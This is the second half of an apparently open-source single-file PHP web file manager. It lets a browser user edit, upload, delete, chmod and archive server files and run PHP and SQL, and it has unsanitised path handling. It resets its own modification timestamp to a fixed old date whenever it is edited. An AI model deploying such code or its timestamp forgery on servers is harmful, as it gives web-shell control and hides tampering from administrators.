	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
